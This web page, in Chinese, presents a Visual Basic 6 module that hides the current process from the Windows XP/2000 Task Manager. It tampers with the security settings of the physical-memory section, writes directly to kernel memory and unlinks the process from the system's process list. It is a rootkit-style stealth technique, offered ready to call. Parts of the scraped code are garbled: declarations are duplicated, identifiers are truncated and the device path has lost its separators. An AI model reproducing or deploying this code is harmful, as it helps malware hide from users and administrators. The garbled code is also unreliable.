在XP/2K系统中隐藏进程的VB代码
Attribute VB_Name
=
"
modHideProcess
"

'
-------------------------------------------------------------------------------------
'
模块名称:modHideProcess.bas
'
'
模块功能:在 XP/2K 任务管理器的进程列表中隐藏当前进程
'
'
使用方法:直接调用 HideCurrentProcess()
'
'
模块作者:检索自互联网,原作者不详。
'
'
修改日期:2006/08/26 Powered by barenx
'
---------------------------------------------------------------------------------------
Option
Explicit

Private
Const
STATUS_INFO_LENGTH_MISMATCH
=
&
HC0000004
Private
Const
STATUS_ACCESS_DENIED
=
&
HC0000022
Private
Const
STATUS_INVALID_HandLE
=
&
HC0000008
Private
Const
ERROR_SUCCESS
=
0
&
Private
Const
SECTION_MAP_WRITE
=
&
H2
Private
Const
SECTION_MAP_READ
=
&
H4
Private
Const
READ_CONTROL
=
&
H20000
Private
Const
WRITE_DAC
=
&
H40000
Private
Const
NO_INHERITANCE
=
0
Private
Const
DACL_SECURITY_INFORMATION
=
&
H4
Private
Type IO_STATUS_BLOCK
Status
As
Long
Information
As
Long
End
Type
Private
Type UNICODE_STRING
Length
As
Integer
MaximumLength
As
Integer
Buffer
As
Long
End
Type
Private
Const
OBJ_INHERIT
=
&
H2
Private
Const
OBJ_PERMANENT
=
&
H10
Private
Const
OBJ_EXCLUSIVE
=
&
H20
Private
Const
OBJ_CASE_INSENSITIVE
=
&
H40
Private
Const
OBJ_OPENIF
=
&
H80
Private
Const
OBJ_OPENLINK
=
&
H100
Private
Const
OBJ_KERNEL_HandLE
=
&
H200
Private
Const
OBJ_VALID_ATTRIBUTES
=
&
H3F2
Private
Type OBJECT_ATTRIBUTES
Length
As
Long
RootDirectory
As
Long
ObjectName
As
Long
Attributes
As
Long
SecurityDeor
As
Long
SecurityQualityOfService
As
Long
End
Type
Private
Type ACL
AclRevision
As
Byte
Sbz1
As
Byte
AclSize
As
Integer
AceCount
As
Integer
Sbz2
As
Integer
End
Type

Private
Enum ACCESS_MODE
Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum


Private
Enum MULTIPLE_TRUSTEE_OPERATION
Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum


Private
Enum TRUSTEE_FORM
Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum


Private
Enum TRUSTEE_TYPE
Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum

Private
Type TRUSTEE
pMultipleTrustee
As
Long
MultipleTrusteeOperation
As
MULTIPLE_TRUSTEE_OPERATION
TrusteeForm
As
TRUSTEE_FORM
TrusteeType
As
TRUSTEE_TYPE
ptstrName
As
String
End
Type
Private
Type EXPLICIT_ACCESS
grfAccessPermissions
As
Long
grfAccessMode
As
ACCESS_MODE
grfInheritance
As
Long
TRUSTEE
As
TRUSTEE
End
Type
Private
Type AceArray
List()
As
EXPLICIT_ACCESS
End
Type

Private
Enum SE_OBJECT_TYPE
Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum


Private
Declare
Function SetSecurityInfo()
Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, 
ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As 
Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo()Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, 
ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As 
Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As 
Long

Private Declare Function SetEntriesInAcl()Function SetEntriesInAcl Lib "advapi32.dll" Alias 
"SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries 
As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName()Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias 
"BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal 
pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As 
ACCESS_MODE, ByVal Inheritance As Long)

Private Declare Sub RtlInitUnicodeString()Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As 
UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection()Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, 
ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree()Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle()Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As 
Long
Private Declare Function MapViewOfFile()Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As 
Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal 
dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile()Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As 
Long
Private Declare Sub CopyMemory()Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination 
As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx()Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" 
(LpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private verinfo As OSVERSIONINFO
Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte

Public Sub HideCurrentProcess()Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程
Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End select
End If
End If
End If
If OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited()Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS
GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, 
pDacl, 0, pSD
ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar
SetEntriesInAcl 1, ea, pDacl, pNewDacl
SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, 
ByVal pNewDacl, 0
CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory()Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES
RtlInitUnicodeString PhysmemString, StrPtr("DevicePhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, 
Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, 
Attributes)
End If
Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
select Case verinfo.dwMinorVersion
Case 0
lDirectoty = &H30000
Case 1
lDirectoty = &H39000
End select
End If
End If
End If
If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function

Private Function LinearToPhys()Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long
VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4
If (PGDE and 1) <> 0 Then
lTemp = PGDE and &H80
If lTemp <> 0 Then
PAddr = (PGDE and &HFFC00000) + (VAddr and &H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE and &HFFFFF000, &H1000)
lTemp = (VAddr and &H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4
If (PTE and 1) <> 0 Then
PAddr = (PTE and &HFFFFF000) + (VAddr and &HFFF)
UnmapViewOfFile PGDE
End If
End If
End If
LinearToPhys = PAddr
End Function

Private Function GetData()Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long
phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys and &HFFFFF000, &H1000)
If tmp <> 0 Then
ret = tmp + ((phys and &HFFF) / (2 ^ 2)) * 4
CopyMemory ret, ByVal ret, 4
UnmapViewOfFile tmp
GetData = ret
End If
End Function

Private Function SetData()Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long
phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys and &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys and &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4
UnmapViewOfFile tmp
SetData = True
End If
End Function

Private Function ByteArrToLong()Function ByteArrToLong(inByte() As Byte) As Double
Dim I As Integer
For I = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)
Next I
End Function

本文提供了一段VB代码,用于在Windows XP/2000系统的任务管理器中隐藏当前进程。通过操作内核对象的安全设置和内存映射实现进程的隐藏。
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